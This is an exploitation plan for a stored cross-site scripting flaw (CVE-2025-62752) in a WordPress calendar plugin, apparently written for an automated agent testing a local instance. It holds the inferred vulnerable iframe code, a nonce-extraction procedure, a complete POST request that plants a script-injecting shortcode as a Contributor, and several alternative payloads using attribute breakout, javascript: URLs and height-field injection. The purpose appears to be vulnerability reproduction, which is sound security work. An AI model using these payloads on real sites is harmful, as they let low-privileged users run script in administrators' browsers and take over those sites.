Exploitation Research Plan: CVE-2025-62752 (Stored XSS in Kalender.digital)

1. Vulnerability Summary

The Calendar.online / Kalender.digital plugin for WordPress (versions <= 1.0.13) is vulnerable to Stored Cross-Site Scripting (XSS). The vulnerability exists because the plugin fails to properly sanitize or escape user-controlled attributes within its shortcode implementation. Authenticated users with Contributor-level permissions or higher can exploit this by embedding a malicious shortcode into a post or page. When other users (including administrators) view the affected content, the injected script executes in their browser context.

2. Attack Vector Analysis

• Endpoint: WordPress Post Editor (/wp-admin/post.php or /wp-admin/post-new.php)
• Vulnerable Component: Shortcode handler for [kalender-digital] or [calendar-online].
• Attack Parameter: Shortcode attributes (specifically url or potentially height/width).
• Required Authentication: Authenticated (Contributor-level or above).
• Preconditions: The plugin kalender-digital must be active.

3. Code Flow (Inferred)

1. Shortcode Registration: The plugin registers a shortcode in the main plugin file or an included class:

   add_shortcode('kalender-digital', 'kalender_digital_shortcode_callback');
   

2. Attribute Processing: The callback function kalender_digital_shortcode_callback($atts) processes attributes:

   $atts = shortcode_atts(array(
       'url'    => '',
       'height' => '600px',
   ), $atts);
   

3. Sink (Vulnerability): The code constructs an HTML string (likely an <iframe>) using the raw $atts['url'] without passing it through esc_url() or esc_attr():

   // VULNERABLE CODE EXAMPLE
   return '<iframe src="' . $atts['url'] . '" style="width:100%;height:' . $atts['height'] . ';"></iframe>';
   

4. Execution: The malicious string is returned to WordPress and rendered in the post content. An attacker can break out of the src attribute using "><script>....

4. Nonce Acquisition Strategy

While the XSS itself is triggered upon viewing, the injection requires saving a post as a Contributor. This requires a standard WordPress post-editing nonce.

1. Step 1: Log in as a Contributor.
2. Step 2: Navigate to the "Add New Post" page: /wp-admin/post-new.php.
3. Step 3: Use browser_eval to extract the required nonces and the post ID.
   • Post Nonce: document.querySelector('#_wpnonce').value
   • Sample Nonce Key: _wpnonce
4. Alternative: If the plugin has a specific settings page accessible to Contributors (e.g., /wp-admin/admin.php?page=kalender-digital-settings), check for nonces localized in the source:
   • browser_eval("window.kalender_digital_params?.nonce") (Inferred)

5. Exploitation Strategy

The goal is to inject a script that will execute when an Administrator views the post.

Step 1: Create a Draft Post with Payload

Send a POST request to save a new draft containing the malicious shortcode.

• URL: http://localhost:8080/wp-admin/post.php
• Method: POST
• Content-Type: application/x-www-form-urlencoded
• Parameters:
  • action: editpost
  • post_ID: [NEW_POST_ID]
  • _wpnonce: [EXTRACTED_NONCE]
  • post_title: Calendar Test
  • content: [kalender-digital url='"><script>alert(document.domain)</script>']
  • post_status: draft

Step 2: Trigger the XSS

Log in as an Administrator and navigate to the "Posts" menu or view the preview of the draft created in Step 1.

• URL: http://localhost:8080/?p=[POST_ID]&preview=true

6. Test Data Setup

1. Plugin: Install and activate kalender-digital version 1.0.13.
2. User: Create a user with the Contributor role.
3. Verification Page: Ensure the site allows shortcodes in posts (default WordPress behavior).

7. Expected Results

• When the Administrator views the post preview, the iframe tag will be rendered as:

  <iframe src=""><script>alert(document.domain)</script>" ...></iframe>
  

• A JavaScript alert box displaying the domain name will appear, confirming successful execution.

8. Verification Steps

1. Check Database: Verify the shortcode is stored in the wp_posts table:

   wp db query "SELECT post_content FROM wp_posts WHERE post_title='Calendar Test' LIMIT 1;"
   

2. Inspect Response: Use http_request as an Admin to fetch the post content and check for the unescaped script:

   # Look for the raw script tag in the HTML response
   grep -C 5 "<script>alert" response_body.html
   

9. Alternative Approaches

If the url attribute is partially sanitized (e.g., keywords blocked), try attribute breakout via event handlers:

• Payload 1 (Attribute Breakout): [kalender-digital url='x" onmouseover="alert(1)" style="display:block;width:1000px;height:1000px;']
• Payload 2 (Protocol Hijack): [kalender-digital url='javascript:alert(1)'] (This works if the sink is specifically a src or href attribute without esc_url).
• Payload 3 (Iframe Injection): If url is escaped but height is not: [kalender-digital url="https://example.com" height='100px";><script>alert(1)</script>'].